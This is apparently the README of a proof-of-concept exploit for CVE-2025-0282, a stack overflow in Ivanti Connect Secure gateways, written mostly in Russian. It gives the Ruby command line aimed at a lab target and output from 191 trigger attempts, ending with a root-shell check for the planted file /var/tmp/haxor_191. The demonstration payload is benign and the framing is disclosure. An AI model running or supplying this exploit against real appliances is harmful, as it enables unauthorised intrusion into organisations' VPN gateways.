
PoC for CVE-2025-0282: A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA gateways
Удаленное неаутентифицированное переполнение буфера на основе стека, затрагивающее Ivanti Connect Secure, Ivanti Policy Secure и Ivanti Neurons for ZTA gateways
Это эксплойт proof of concept для демонстрации эксплуатации CVE-2025-0282, основанный на стратегии эксплуатации, опубликованной watchTowr.
Этот PoC содержит ROP-цепочку, построенную для Ivanti Connect Secure 22.7r2.4. Никакая другая версия не может быть атакована без предварительного построения соответствующей ROP-цепочки для этой целевой версии.
Этот PoC содержит полезную нагрузку, которая выполнит команду операционной системы для создания временного файла на целевой системе. Так вы узнаете, что эксплойт сработал. Выполнение кода достигается с привилегиями не-root пользователя nr.
Мы можем запустить этот скрипт против уязвимой цели Ivanti Connect Secure версии 22.7r2.4 следующим образом:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
Если эксплойт сработает, он запишет новый файл в временную директорию /var/tmp/, с числовым значением, соответствующим номеру попытки эксплуатации, в качестве части имени файла.
В отдельной root-оболочке на целевом устройстве (которую мы получили, взломав устройство через jail break), мы можем наблюдать, когда эксплойт сработал:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
Из этого примера видно, что эксплойт сделал 190 неудачных попыток и удался на 191-й попытке. Таким образом, в этом примере эксплуатация цели заняла 34 минуты.